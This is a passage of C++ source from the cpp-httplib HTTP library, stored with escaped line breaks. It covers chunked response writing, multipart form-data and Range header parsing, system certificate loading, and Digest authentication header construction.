strm.write_format(\"%s: %s\\r\\n\", x.first.c_str(), x.second.c_str());\n    if (len < 0) { return len; }\n    write_len += len;\n  }\n  auto len = strm.write(\"\\r\\n\");\n  if (len < 0) { return len; }\n  write_len += len;\n  return write_len;\n}\n\ninline bool write_data(Stream &strm, const char *d, size_t l) {\n  size_t offset = 0;\n  while (offset < l) {\n    auto length = strm.write(d + offset, l - offset);\n    if (length < 0) { return false; }\n    offset += static_cast<size_t>(length);\n  }\n  return true;\n}\n\ntemplate <typename T>\ninline bool write_content(Stream &strm, const ContentProvider &content_provider,\n                          size_t offset, size_t length, T is_shutting_down,\n                          Error &error) {\n  size_t end_offset = offset + length;\n  auto ok = true;\n  DataSink data_sink;\n\n  data_sink.write = [&](const char *d, size_t l) -> bool {\n    if (ok) {\n      if (strm.is_writable() && write_data(strm, d, l)) {\n        offset += l;\n      } else {\n        ok = false;\n      }\n    }\n    return ok;\n  };\n\n  data_sink.is_writable = [&]() -> bool { return strm.is_writable(); };\n\n  while (offset < end_offset && !is_shutting_down()) {\n    if (!strm.is_writable()) {\n      error = Error::Write;\n      return false;\n    } else if (!content_provider(offset, end_offset - offset, data_sink)) {\n      error = Error::Canceled;\n      return false;\n    } else if (!ok) {\n      error = Error::Write;\n      return false;\n    }\n  }\n\n  error = Error::Success;\n  return true;\n}\n\ntemplate <typename T>\ninline bool write_content(Stream &strm, const ContentProvider &content_provider,\n                          size_t offset, size_t length,\n                          const T &is_shutting_down) {\n  auto error = Error::Success;\n  return write_content(strm, content_provider, offset, length, is_shutting_down,\n                       error);\n}\n\ntemplate <typename T>\ninline bool\nwrite_content_without_length(Stream &strm,\n                             const ContentProvider &content_provider,\n                             const T &is_shutting_down) {\n  size_t offset = 0;\n  auto data_available = true;\n  auto ok = true;\n  DataSink data_sink;\n\n  data_sink.write = [&](const char *d, size_t l) -> bool {\n    if (ok) {\n      offset += l;\n      if (!strm.is_writable() || !write_data(strm, d, l)) { ok = false; }\n    }\n    return ok;\n  };\n\n  data_sink.is_writable = [&]() -> bool { return strm.is_writable(); };\n\n  data_sink.done = [&](void) { data_available = false; };\n\n  while (data_available && !is_shutting_down()) {\n    if (!strm.is_writable()) {\n      return false;\n    } else if (!content_provider(offset, 0, data_sink)) {\n      return false;\n    } else if (!ok) {\n      return false;\n    }\n  }\n  return true;\n}\n\ntemplate <typename T, typename U>\ninline bool\nwrite_content_chunked(Stream &strm, const ContentProvider &content_provider,\n                      const T &is_shutting_down, U &compressor, Error &error) {\n  size_t offset = 0;\n  auto data_available = true;\n  auto ok = true;\n  DataSink data_sink;\n\n  data_sink.write = [&](const char *d, size_t l) -> bool {\n    if (ok) {\n      data_available = l > 0;\n      offset += l;\n\n      std::string payload;\n      if (compressor.compress(d, l, false,\n                              [&](const char *data, size_t data_len) {\n                                payload.append(data, data_len);\n                                return true;\n                              })) {\n        if (!payload.empty()) {\n          // Emit chunked response header and footer for each chunk\n          auto chunk =\n              from_i_to_hex(payload.size()) + \"\\r\\n\" + payload + \"\\r\\n\";\n          if (!strm.is_writable() ||\n              !write_data(strm, chunk.data(), chunk.size())) {\n            ok = false;\n          }\n        }\n      } else {\n        ok = false;\n      }\n    }\n    return ok;\n  };\n\n  data_sink.is_writable = [&]() -> bool { return strm.is_writable(); };\n\n  auto done_with_trailer = [&](const Headers *trailer) {\n    if (!ok) { return; }\n\n    data_available = false;\n\n    std::string payload;\n    if (!compressor.compress(nullptr, 0, true,\n                             [&](const char *data, size_t data_len) {\n                               payload.append(data, data_len);\n                               return true;\n                             })) {\n      ok = false;\n      return;\n    }\n\n    if (!payload.empty()) {\n      // Emit chunked response header and footer for each chunk\n      auto chunk = from_i_to_hex(payload.size()) + \"\\r\\n\" + payload + \"\\r\\n\";\n      if (!strm.is_writable() ||\n          !write_data(strm, chunk.data(), chunk.size())) {\n        ok = false;\n        return;\n      }\n    }\n\n    static const std::string done_marker(\"0\\r\\n\");\n    if (!write_data(strm, done_marker.data(), done_marker.size())) {\n      ok = false;\n    }\n\n    // Trailer\n    if (trailer) {\n      for (const auto &kv : *trailer) {\n        std::string field_line = kv.first + \": \" + kv.second + \"\\r\\n\";\n        if (!write_data(strm, field_line.data(), field_line.size())) {\n          ok = false;\n        }\n      }\n    }\n\n    static const std::string crlf(\"\\r\\n\");\n    if (!write_data(strm, crlf.data(), crlf.size())) { ok = false; }\n  };\n\n  data_sink.done = [&](void) { done_with_trailer(nullptr); };\n\n  data_sink.done_with_trailer = [&](const Headers &trailer) {\n    done_with_trailer(&trailer);\n  };\n\n  while (data_available && !is_shutting_down()) {\n    if (!strm.is_writable()) {\n      error = Error::Write;\n      return false;\n    } else if (!content_provider(offset, 0, data_sink)) {\n      error = Error::Canceled;\n      return false;\n    } else if (!ok) {\n      error = Error::Write;\n      return false;\n    }\n  }\n\n  error = Error::Success;\n  return true;\n}\n\ntemplate <typename T, typename U>\ninline bool write_content_chunked(Stream &strm,\n                                  const ContentProvider &content_provider,\n                                  const T &is_shutting_down, U &compressor) {\n  auto error = Error::Success;\n  return write_content_chunked(strm, content_provider, is_shutting_down,\n                               compressor, error);\n}\n\ntemplate <typename T>\ninline bool redirect(T &cli, Request &req, Response &res,\n                     const std::string &path, const std::string &location,\n                     Error &error) {\n  Request new_req = req;\n  new_req.path = path;\n  new_req.redirect_count_ -= 1;\n\n  if (res.status == StatusCode::SeeOther_303 &&\n      (req.method != \"GET\" && req.method != \"HEAD\")) {\n    new_req.method = \"GET\";\n    new_req.body.clear();\n    new_req.headers.clear();\n  }\n\n  Response new_res;\n\n  auto ret = cli.send(new_req, new_res, error);\n  if (ret) {\n    req = new_req;\n    res = new_res;\n\n    if (res.location.empty()) { res.location = location; }\n  }\n  return ret;\n}\n\ninline std::string params_to_query_str(const Params &params) {\n  std::string query;\n\n  for (auto it = params.begin(); it != params.end(); ++it) {\n    if (it != params.begin()) { query += \"&\"; }\n    query += it->first;\n    query += \"=\";\n    query += encode_query_param(it->second);\n  }\n  return query;\n}\n\ninline void parse_query_text(const char *data, std::size_t size,\n                             Params &params) {\n  std::set<std::string> cache;\n  split(data, data + size, '&', [&](const char *b, const char *e) {\n    std::string kv(b, e);\n    if (cache.find(kv) != cache.end()) { return; }\n    cache.insert(std::move(kv));\n\n    std::string key;\n    std::string val;\n    divide(b, static_cast<std::size_t>(e - b), '=',\n           [&](const char *lhs_data, std::size_t lhs_size, const char *rhs_data,\n               std::size_t rhs_size) {\n             key.assign(lhs_data, lhs_size);\n             val.assign(rhs_data, rhs_size);\n           });\n\n    if (!key.empty()) {\n      params.emplace(decode_url(key, true), decode_url(val, true));\n    }\n  });\n}\n\ninline void parse_query_text(const std::string &s, Params &params) {\n  parse_query_text(s.data(), s.size(), params);\n}\n\ninline bool parse_multipart_boundary(const std::string &content_type,\n                                     std::string &boundary) {\n  auto boundary_keyword = \"boundary=\";\n  auto pos = content_type.find(boundary_keyword);\n  if (pos == std::string::npos) { return false; }\n  auto end = content_type.find(';', pos);\n  auto beg = pos + strlen(boundary_keyword);\n  boundary = trim_double_quotes_copy(content_type.substr(beg, end - beg));\n  return !boundary.empty();\n}\n\ninline void parse_disposition_params(const std::string &s, Params &params) {\n  std::set<std::string> cache;\n  split(s.data(), s.data() + s.size(), ';', [&](const char *b, const char *e) {\n    std::string kv(b, e);\n    if (cache.find(kv) != cache.end()) { return; }\n    cache.insert(kv);\n\n    std::string key;\n    std::string val;\n    split(b, e, '=', [&](const char *b2, const char *e2) {\n      if (key.empty()) {\n        key.assign(b2, e2);\n      } else {\n        val.assign(b2, e2);\n      }\n    });\n\n    if (!key.empty()) {\n      params.emplace(trim_double_quotes_copy((key)),\n                     trim_double_quotes_copy((val)));\n    }\n  });\n}\n\n#ifdef CPPHTTPLIB_NO_EXCEPTIONS\ninline bool parse_range_header(const std::string &s, Ranges &ranges) {\n#else\ninline bool parse_range_header(const std::string &s, Ranges &ranges) try {\n#endif\n  auto is_valid = [](const std::string &str) {\n    return std::all_of(str.cbegin(), str.cend(),\n                       [](unsigned char c) { return std::isdigit(c); });\n  };\n\n  if (s.size() > 7 && s.compare(0, 6, \"bytes=\") == 0) {\n    const auto pos = static_cast<size_t>(6);\n    const auto len = static_cast<size_t>(s.size() - 6);\n    auto all_valid_ranges = true;\n    split(&s[pos], &s[pos + len], ',', [&](const char *b, const char *e) {\n      if (!all_valid_ranges) { return; }\n\n      const auto it = std::find(b, e, '-');\n      if (it == e) {\n        all_valid_ranges = false;\n        return;\n      }\n\n      const auto lhs = std::string(b, it);\n      const auto rhs = std::string(it + 1, e);\n      if (!is_valid(lhs) || !is_valid(rhs)) {\n        all_valid_ranges = false;\n        return;\n      }\n\n      const auto first =\n          static_cast<ssize_t>(lhs.empty() ? -1 : std::stoll(lhs));\n      const auto last =\n          static_cast<ssize_t>(rhs.empty() ? -1 : std::stoll(rhs));\n      if ((first == -1 && last == -1) ||\n          (first != -1 && last != -1 && first > last)) {\n        all_valid_ranges = false;\n        return;\n      }\n\n      ranges.emplace_back(first, last);\n    });\n    return all_valid_ranges && !ranges.empty();\n  }\n  return false;\n#ifdef CPPHTTPLIB_NO_EXCEPTIONS\n}\n#else\n} catch (...) { return false; }\n#endif\n\nclass MultipartFormDataParser {\npublic:\n  MultipartFormDataParser() = default;\n\n  void set_boundary(std::string &&boundary) {\n    boundary_ = boundary;\n    dash_boundary_crlf_ = dash_ + boundary_ + crlf_;\n    crlf_dash_boundary_ = crlf_ + dash_ + boundary_;\n  }\n\n  bool is_valid() const { return is_valid_; }\n\n  bool parse(const char *buf, size_t n, const ContentReceiver &content_callback,\n             const MultipartContentHeader &header_callback) {\n\n    buf_append(buf, n);\n\n    while (buf_size() > 0) {\n      switch (state_) {\n      case 0: { // Initial boundary\n        buf_erase(buf_find(dash_boundary_crlf_));\n        if (dash_boundary_crlf_.size() > buf_size()) { return true; }\n        if (!buf_start_with(dash_boundary_crlf_)) { return false; }\n        buf_erase(dash_boundary_crlf_.size());\n        state_ = 1;\n        break;\n      }\n      case 1: { // New entry\n        clear_file_info();\n        state_ = 2;\n        break;\n      }\n      case 2: { // Headers\n        auto pos = buf_find(crlf_);\n        if (pos > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; }\n        while (pos < buf_size()) {\n          // Empty line\n          if (pos == 0) {\n            if (!header_callback(file_)) {\n              is_valid_ = false;\n              return false;\n            }\n            buf_erase(crlf_.size());\n            state_ = 3;\n            break;\n          }\n\n          const auto header = buf_head(pos);\n\n          if (!parse_header(header.data(), header.data() + header.size(),\n                            [&](const std::string &, const std::string &) {})) {\n            is_valid_ = false;\n            return false;\n          }\n\n          static const std::string header_content_type = \"Content-Type:\";\n\n          if (start_with_case_ignore(header, header_content_type)) {\n            file_.content_type =\n                trim_copy(header.substr(header_content_type.size()));\n          } else {\n            static const std::regex re_content_disposition(\n                R\"~(^Content-Disposition:\\s*form-data;\\s*(.*)$)~\",\n                std::regex_constants::icase);\n\n            std::smatch m;\n            if (std::regex_match(header, m, re_content_disposition)) {\n              Params params;\n              parse_disposition_params(m[1], params);\n\n              auto it = params.find(\"name\");\n              if (it != params.end()) {\n                file_.name = it->second;\n              } else {\n                is_valid_ = false;\n                return false;\n              }\n\n              it = params.find(\"filename\");\n              if (it != params.end()) { file_.filename = it->second; }\n\n              it = params.find(\"filename*\");\n              if (it != params.end()) {\n                // Only allow UTF-8 enconnding...\n                static const std::regex re_rfc5987_encoding(\n                    R\"~(^UTF-8''(.+?)$)~\", std::regex_constants::icase);\n\n                std::smatch m2;\n                if (std::regex_match(it->second, m2, re_rfc5987_encoding)) {\n                  file_.filename = decode_url(m2[1], false); // override...\n                } else {\n                  is_valid_ = false;\n                  return false;\n                }\n              }\n            }\n          }\n          buf_erase(pos + crlf_.size());\n          pos = buf_find(crlf_);\n        }\n        if (state_ != 3) { return true; }\n        break;\n      }\n      case 3: { // Body\n        if (crlf_dash_boundary_.size() > buf_size()) { return true; }\n        auto pos = buf_find(crlf_dash_boundary_);\n        if (pos < buf_size()) {\n          if (!content_callback(buf_data(), pos)) {\n            is_valid_ = false;\n            return false;\n          }\n          buf_erase(pos + crlf_dash_boundary_.size());\n          state_ = 4;\n        } else {\n          auto len = buf_size() - crlf_dash_boundary_.size();\n          if (len > 0) {\n            if (!content_callback(buf_data(), len)) {\n              is_valid_ = false;\n              return false;\n            }\n            buf_erase(len);\n          }\n          return true;\n        }\n        break;\n      }\n      case 4: { // Boundary\n        if (crlf_.size() > buf_size()) { return true; }\n        if (buf_start_with(crlf_)) {\n          buf_erase(crlf_.size());\n          state_ = 1;\n        } else {\n          if (dash_.size() > buf_size()) { return true; }\n          if (buf_start_with(dash_)) {\n            buf_erase(dash_.size());\n            is_valid_ = true;\n            buf_erase(buf_size()); // Remove epilogue\n          } else {\n            return true;\n          }\n        }\n        break;\n      }\n      }\n    }\n\n    return true;\n  }\n\nprivate:\n  void clear_file_info() {\n    file_.name.clear();\n    file_.filename.clear();\n    file_.content_type.clear();\n  }\n\n  bool start_with_case_ignore(const std::string &a,\n                              const std::string &b) const {\n    if (a.size() < b.size()) { return false; }\n    for (size_t i = 0; i < b.size(); i++) {\n      if (::tolower(a[i]) != ::tolower(b[i])) { return false; }\n    }\n    return true;\n  }\n\n  const std::string dash_ = \"--\";\n  const std::string crlf_ = \"\\r\\n\";\n  std::string boundary_;\n  std::string dash_boundary_crlf_;\n  std::string crlf_dash_boundary_;\n\n  size_t state_ = 0;\n  bool is_valid_ = false;\n  MultipartFormData file_;\n\n  // Buffer\n  bool start_with(const std::string &a, size_t spos, size_t epos,\n                  const std::string &b) const {\n    if (epos - spos < b.size()) { return false; }\n    for (size_t i = 0; i < b.size(); i++) {\n      if (a[i + spos] != b[i]) { return false; }\n    }\n    return true;\n  }\n\n  size_t buf_size() const { return buf_epos_ - buf_spos_; }\n\n  const char *buf_data() const { return &buf_[buf_spos_]; }\n\n  std::string buf_head(size_t l) const { return buf_.substr(buf_spos_, l); }\n\n  bool buf_start_with(const std::string &s) const {\n    return start_with(buf_, buf_spos_, buf_epos_, s);\n  }\n\n  size_t buf_find(const std::string &s) const {\n    auto c = s.front();\n\n    size_t off = buf_spos_;\n    while (off < buf_epos_) {\n      auto pos = off;\n      while (true) {\n        if (pos == buf_epos_) { return buf_size(); }\n        if (buf_[pos] == c) { break; }\n        pos++;\n      }\n\n      auto remaining_size = buf_epos_ - pos;\n      if (s.size() > remaining_size) { return buf_size(); }\n\n      if (start_with(buf_, pos, buf_epos_, s)) { return pos - buf_spos_; }\n\n      off = pos + 1;\n    }\n\n    return buf_size();\n  }\n\n  void buf_append(const char *data, size_t n) {\n    auto remaining_size = buf_size();\n    if (remaining_size > 0 && buf_spos_ > 0) {\n      for (size_t i = 0; i < remaining_size; i++) {\n        buf_[i] = buf_[buf_spos_ + i];\n      }\n    }\n    buf_spos_ = 0;\n    buf_epos_ = remaining_size;\n\n    if (remaining_size + n > buf_.size()) { buf_.resize(remaining_size + n); }\n\n    for (size_t i = 0; i < n; i++) {\n      buf_[buf_epos_ + i] = data[i];\n    }\n    buf_epos_ += n;\n  }\n\n  void buf_erase(size_t size) { buf_spos_ += size; }\n\n  std::string buf_;\n  size_t buf_spos_ = 0;\n  size_t buf_epos_ = 0;\n};\n\ninline std::string to_lower(const char *beg, const char *end) {\n  std::string out;\n  auto it = beg;\n  while (it != end) {\n    out += static_cast<char>(::tolower(*it));\n    it++;\n  }\n  return out;\n}\n\ninline std::string random_string(size_t length) {\n  static const char data[] =\n      \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n  // std::random_device might actually be deterministic on some\n  // platforms, but due to lack of support in the c++ standard library,\n  // doing better requires either some ugly hacks or breaking portability.\n  static std::random_device seed_gen;\n\n  // Request 128 bits of entropy for initialization\n  static std::seed_seq seed_sequence{seed_gen(), seed_gen(), seed_gen(),\n                                     seed_gen()};\n\n  static std::mt19937 engine(seed_sequence);\n\n  std::string result;\n  for (size_t i = 0; i < length; i++) {\n    result += data[engine() % (sizeof(data) - 1)];\n  }\n  return result;\n}\n\ninline std::string make_multipart_data_boundary() {\n  return \"--cpp-httplib-multipart-data-\" + detail::random_string(16);\n}\n\ninline bool is_multipart_boundary_chars_valid(const std::string &boundary) {\n  auto valid = true;\n  for (size_t i = 0; i < boundary.size(); i++) {\n    auto c = boundary[i];\n    if (!std::isalnum(c) && c != '-' && c != '_') {\n      valid = false;\n      break;\n    }\n  }\n  return valid;\n}\n\ntemplate <typename T>\ninline std::string\nserialize_multipart_formdata_item_begin(const T &item,\n                                        const std::string &boundary) {\n  std::string body = \"--\" + boundary + \"\\r\\n\";\n  body += \"Content-Disposition: form-data; name=\\\"\" + item.name + \"\\\"\";\n  if (!item.filename.empty()) {\n    body += \"; filename=\\\"\" + item.filename + \"\\\"\";\n  }\n  body += \"\\r\\n\";\n  if (!item.content_type.empty()) {\n    body += \"Content-Type: \" + item.content_type + \"\\r\\n\";\n  }\n  body += \"\\r\\n\";\n\n  return body;\n}\n\ninline std::string serialize_multipart_formdata_item_end() { return \"\\r\\n\"; }\n\ninline std::string\nserialize_multipart_formdata_finish(const std::string &boundary) {\n  return \"--\" + boundary + \"--\\r\\n\";\n}\n\ninline std::string\nserialize_multipart_formdata_get_content_type(const std::string &boundary) {\n  return \"multipart/form-data; boundary=\" + boundary;\n}\n\ninline std::string\nserialize_multipart_formdata(const MultipartFormDataItems &items,\n                             const std::string &boundary, bool finish = true) {\n  std::string body;\n\n  for (const auto &item : items) {\n    body += serialize_multipart_formdata_item_begin(item, boundary);\n    body += item.content + serialize_multipart_formdata_item_end();\n  }\n\n  if (finish) { body += serialize_multipart_formdata_finish(boundary); }\n\n  return body;\n}\n\ninline bool range_error(Request &req, Response &res) {\n  if (!req.ranges.empty() && 200 <= res.status && res.status < 300) {\n    ssize_t contant_len = static_cast<ssize_t>(\n        res.content_length_ ? res.content_length_ : res.body.size());\n\n    ssize_t prev_first_pos = -1;\n    ssize_t prev_last_pos = -1;\n    size_t overwrapping_count = 0;\n\n    // NOTE: The following Range check is based on '14.2. Range' in RFC 9110\n    // 'HTTP Semantics' to avoid potential denial-of-service attacks.\n    // https://www.rfc-editor.org/rfc/rfc9110#section-14.2\n\n    // Too many ranges\n    if (req.ranges.size() > CPPHTTPLIB_RANGE_MAX_COUNT) { return true; }\n\n    for (auto &r : req.ranges) {\n      auto &first_pos = r.first;\n      auto &last_pos = r.second;\n\n      if (first_pos == -1 && last_pos == -1) {\n        first_pos = 0;\n        last_pos = contant_len;\n      }\n\n      if (first_pos == -1) {\n        first_pos = contant_len - last_pos;\n        last_pos = contant_len - 1;\n      }\n\n      if (last_pos == -1) { last_pos = contant_len - 1; }\n\n      // Range must be within content length\n      if (!(0 <= first_pos && first_pos <= last_pos &&\n            last_pos <= contant_len - 1)) {\n        return true;\n      }\n\n      // Ranges must be in ascending order\n      if (first_pos <= prev_first_pos) { return true; }\n\n      // Request must not have more than two overlapping ranges\n      if (first_pos <= prev_last_pos) {\n        overwrapping_count++;\n        if (overwrapping_count > 2) { return true; }\n      }\n\n      prev_first_pos = (std::max)(prev_first_pos, first_pos);\n      prev_last_pos = (std::max)(prev_last_pos, last_pos);\n    }\n  }\n\n  return false;\n}\n\ninline std::pair<size_t, size_t>\nget_range_offset_and_length(Range r, size_t content_length) {\n  assert(r.first != -1 && r.second != -1);\n  assert(0 <= r.first && r.first < static_cast<ssize_t>(content_length));\n  assert(r.first <= r.second &&\n         r.second < static_cast<ssize_t>(content_length));\n  (void)(content_length);\n  return std::make_pair(r.first, static_cast<size_t>(r.second - r.first) + 1);\n}\n\ninline std::string make_content_range_header_field(\n    const std::pair<size_t, size_t> &offset_and_length, size_t content_length) {\n  auto st = offset_and_length.first;\n  auto ed = st + offset_and_length.second - 1;\n\n  std::string field = \"bytes \";\n  field += std::to_string(st);\n  field += \"-\";\n  field += std::to_string(ed);\n  field += \"/\";\n  field += std::to_string(content_length);\n  return field;\n}\n\ntemplate <typename SToken, typename CToken, typename Content>\nbool process_multipart_ranges_data(const Request &req,\n                                   const std::string &boundary,\n                                   const std::string &content_type,\n                                   size_t content_length, SToken stoken,\n                                   CToken ctoken, Content content) {\n  for (size_t i = 0; i < req.ranges.size(); i++) {\n    ctoken(\"--\");\n    stoken(boundary);\n    ctoken(\"\\r\\n\");\n    if (!content_type.empty()) {\n      ctoken(\"Content-Type: \");\n      stoken(content_type);\n      ctoken(\"\\r\\n\");\n    }\n\n    auto offset_and_length =\n        get_range_offset_and_length(req.ranges[i], content_length);\n\n    ctoken(\"Content-Range: \");\n    stoken(make_content_range_header_field(offset_and_length, content_length));\n    ctoken(\"\\r\\n\");\n    ctoken(\"\\r\\n\");\n\n    if (!content(offset_and_length.first, offset_and_length.second)) {\n      return false;\n    }\n    ctoken(\"\\r\\n\");\n  }\n\n  ctoken(\"--\");\n  stoken(boundary);\n  ctoken(\"--\");\n\n  return true;\n}\n\ninline void make_multipart_ranges_data(const Request &req, Response &res,\n                                       const std::string &boundary,\n                                       const std::string &content_type,\n                                       size_t content_length,\n                                       std::string &data) {\n  process_multipart_ranges_data(\n      req, boundary, content_type, content_length,\n      [&](const std::string &token) { data += token; },\n      [&](const std::string &token) { data += token; },\n      [&](size_t offset, size_t length) {\n        assert(offset + length <= content_length);\n        data += res.body.substr(offset, length);\n        return true;\n      });\n}\n\ninline size_t get_multipart_ranges_data_length(const Request &req,\n                                               const std::string &boundary,\n                                               const std::string &content_type,\n                                               size_t content_length) {\n  size_t data_length = 0;\n\n  process_multipart_ranges_data(\n      req, boundary, content_type, content_length,\n      [&](const std::string &token) { data_length += token.size(); },\n      [&](const std::string &token) { data_length += token.size(); },\n      [&](size_t /*offset*/, size_t length) {\n        data_length += length;\n        return true;\n      });\n\n  return data_length;\n}\n\ntemplate <typename T>\ninline bool\nwrite_multipart_ranges_data(Stream &strm, const Request &req, Response &res,\n                            const std::string &boundary,\n                            const std::string &content_type,\n                            size_t content_length, const T &is_shutting_down) {\n  return process_multipart_ranges_data(\n      req, boundary, content_type, content_length,\n      [&](const std::string &token) { strm.write(token); },\n      [&](const std::string &token) { strm.write(token); },\n      [&](size_t offset, size_t length) {\n        return write_content(strm, res.content_provider_, offset, length,\n                             is_shutting_down);\n      });\n}\n\ninline bool expect_content(const Request &req) {\n  if (req.method == \"POST\" || req.method == \"PUT\" || req.method == \"PATCH\" ||\n      req.method == \"PRI\" || req.method == \"DELETE\") {\n    return true;\n  }\n  // TODO: check if Content-Length is set\n  return false;\n}\n\ninline bool has_crlf(const std::string &s) {\n  auto p = s.c_str();\n  while (*p) {\n    if (*p == '\\r' || *p == '\\n') { return true; }\n    p++;\n  }\n  return false;\n}\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline std::string message_digest(const std::string &s, const EVP_MD *algo) {\n  auto context = std::unique_ptr<EVP_MD_CTX, decltype(&EVP_MD_CTX_free)>(\n      EVP_MD_CTX_new(), EVP_MD_CTX_free);\n\n  unsigned int hash_length = 0;\n  unsigned char hash[EVP_MAX_MD_SIZE];\n\n  EVP_DigestInit_ex(context.get(), algo, nullptr);\n  EVP_DigestUpdate(context.get(), s.c_str(), s.size());\n  EVP_DigestFinal_ex(context.get(), hash, &hash_length);\n\n  std::stringstream ss;\n  for (auto i = 0u; i < hash_length; ++i) {\n    ss << std::hex << std::setw(2) << std::setfill('0')\n       << static_cast<unsigned int>(hash[i]);\n  }\n\n  return ss.str();\n}\n\ninline std::string MD5(const std::string &s) {\n  return message_digest(s, EVP_md5());\n}\n\ninline std::string SHA_256(const std::string &s) {\n  return message_digest(s, EVP_sha256());\n}\n\ninline std::string SHA_512(const std::string &s) {\n  return message_digest(s, EVP_sha512());\n}\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n#ifdef _WIN32\n// NOTE: This code came up with the following stackoverflow post:\n// https://stackoverflow.com/questions/9507184/can-openssl-on-windows-use-the-system-certificate-store\ninline bool load_system_certs_on_windows(X509_STORE *store) {\n  auto hStore = CertOpenSystemStoreW((HCRYPTPROV_LEGACY)NULL, L\"ROOT\");\n  if (!hStore) { return false; }\n\n  auto result = false;\n  PCCERT_CONTEXT pContext = NULL;\n  while ((pContext = CertEnumCertificatesInStore(hStore, pContext)) !=\n         nullptr) {\n    auto encoded_cert =\n        static_cast<const unsigned char *>(pContext->pbCertEncoded);\n\n    auto x509 = d2i_X509(NULL, &encoded_cert, pContext->cbCertEncoded);\n    if (x509) {\n      X509_STORE_add_cert(store, x509);\n      X509_free(x509);\n      result = true;\n    }\n  }\n\n  CertFreeCertificateContext(pContext);\n  CertCloseStore(hStore, 0);\n\n  return result;\n}\n#elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__)\n#if TARGET_OS_OSX\ntemplate <typename T>\nusing CFObjectPtr =\n    std::unique_ptr<typename std::remove_pointer<T>::type, void (*)(CFTypeRef)>;\n\ninline void cf_object_ptr_deleter(CFTypeRef obj) {\n  if (obj) { CFRelease(obj); }\n}\n\ninline bool retrieve_certs_from_keychain(CFObjectPtr<CFArrayRef> &certs) {\n  CFStringRef keys[] = {kSecClass, kSecMatchLimit, kSecReturnRef};\n  CFTypeRef values[] = {kSecClassCertificate, kSecMatchLimitAll,\n                        kCFBooleanTrue};\n\n  CFObjectPtr<CFDictionaryRef> query(\n      CFDictionaryCreate(nullptr, reinterpret_cast<const void **>(keys), values,\n                         sizeof(keys) / sizeof(keys[0]),\n                         &kCFTypeDictionaryKeyCallBacks,\n                         &kCFTypeDictionaryValueCallBacks),\n      cf_object_ptr_deleter);\n\n  if (!query) { return false; }\n\n  CFTypeRef security_items = nullptr;\n  if (SecItemCopyMatching(query.get(), &security_items) != errSecSuccess ||\n      CFArrayGetTypeID() != CFGetTypeID(security_items)) {\n    return false;\n  }\n\n  certs.reset(reinterpret_cast<CFArrayRef>(security_items));\n  return true;\n}\n\ninline bool retrieve_root_certs_from_keychain(CFObjectPtr<CFArrayRef> &certs) {\n  CFArrayRef root_security_items = nullptr;\n  if (SecTrustCopyAnchorCertificates(&root_security_items) != errSecSuccess) {\n    return false;\n  }\n\n  certs.reset(root_security_items);\n  return true;\n}\n\ninline bool add_certs_to_x509_store(CFArrayRef certs, X509_STORE *store) {\n  auto result = false;\n  for (auto i = 0; i < CFArrayGetCount(certs); ++i) {\n    const auto cert = reinterpret_cast<const __SecCertificate *>(\n        CFArrayGetValueAtIndex(certs, i));\n\n    if (SecCertificateGetTypeID() != CFGetTypeID(cert)) { continue; }\n\n    CFDataRef cert_data = nullptr;\n    if (SecItemExport(cert, kSecFormatX509Cert, 0, nullptr, &cert_data) !=\n        errSecSuccess) {\n      continue;\n    }\n\n    CFObjectPtr<CFDataRef> cert_data_ptr(cert_data, cf_object_ptr_deleter);\n\n    auto encoded_cert = static_cast<const unsigned char *>(\n        CFDataGetBytePtr(cert_data_ptr.get()));\n\n    auto x509 =\n        d2i_X509(NULL, &encoded_cert, CFDataGetLength(cert_data_ptr.get()));\n\n    if (x509) {\n      X509_STORE_add_cert(store, x509);\n      X509_free(x509);\n      result = true;\n    }\n  }\n\n  return result;\n}\n\ninline bool load_system_certs_on_macos(X509_STORE *store) {\n  auto result = false;\n  CFObjectPtr<CFArrayRef> certs(nullptr, cf_object_ptr_deleter);\n  if (retrieve_certs_from_keychain(certs) && certs) {\n    result = add_certs_to_x509_store(certs.get(), store);\n  }\n\n  if (retrieve_root_certs_from_keychain(certs) && certs) {\n    result = add_certs_to_x509_store(certs.get(), store) || result;\n  }\n\n  return result;\n}\n#endif // TARGET_OS_OSX\n#endif // _WIN32\n#endif // CPPHTTPLIB_OPENSSL_SUPPORT\n\n#ifdef _WIN32\nclass WSInit {\npublic:\n  WSInit() {\n    WSADATA wsaData;\n    if (WSAStartup(0x0002, &wsaData) == 0) is_valid_ = true;\n  }\n\n  ~WSInit() {\n    if (is_valid_) WSACleanup();\n  }\n\n  bool is_valid_ = false;\n};\n\nstatic WSInit wsinit_;\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline std::pair<std::string, std::string> make_digest_authentication_header(\n    const Request &req, const std::map<std::string, std::string> &auth,\n    size_t cnonce_count, const std::string &cnonce, const std::string &username,\n    const std::string &password, bool is_proxy = false) {\n  std::string nc;\n  {\n    std::stringstream ss;\n    ss << std::setfill('0') << std::setw(8) << std::hex << cnonce_count;\n    nc = ss.str();\n  }\n\n  std::string qop;\n  if (auth.find(\"qop\") != auth.end()) {\n    qop = auth.at(\"qop\");\n    if (qop.find(\"auth-int\") != std::string::npos) {\n      qop = \"auth-int\";\n    } else if (qop.find(\"auth\") != std::string::npos) {\n      qop = \"auth\";\n    } else {\n      qop.clear();\n    }\n  }\n\n  std::string algo = \"MD5\";\n  if (auth.find(\"algorithm\") != auth.end()) { algo = auth.at(\"algorithm\"); }\n\n  std::string response;\n  {\n    auto H = algo == \"SHA-256\"   ? detail::SHA_256\n             : algo == \"SHA-512\" ? detail::SHA_512\n                                 : detail::MD5;\n\n    auto A1 = username + \":\" + auth.at(\"realm\") + \":\" + password;\n\n    auto A2 = req.method + \":\" + req.path;\n    if (qop == \"auth-int\") { A2 += \":\" + H(req.body); }\n\n    if (qop.empty()) {\n      response = H(H(A1) + \":\" + auth.at(\"nonce\") + \":\" + H(A2));\n    } else {\n      response = H(H(A1) + \":\" + auth.at(\"nonce\") + \":\" + nc + \":\" + cnonce +\n                   \":\" + qop + \":\" + H(A2));\n    }\n  }\n\n  auto opaque = (auth.find(\"opaque\") != auth.end()) ? auth.at(\"opaque\") : \"\";\n\n  auto field = \"Digest username=\\\"\" + username + \"\\\", realm=\\\"\" +\n               auth.at(\"realm\") + \"\\\", 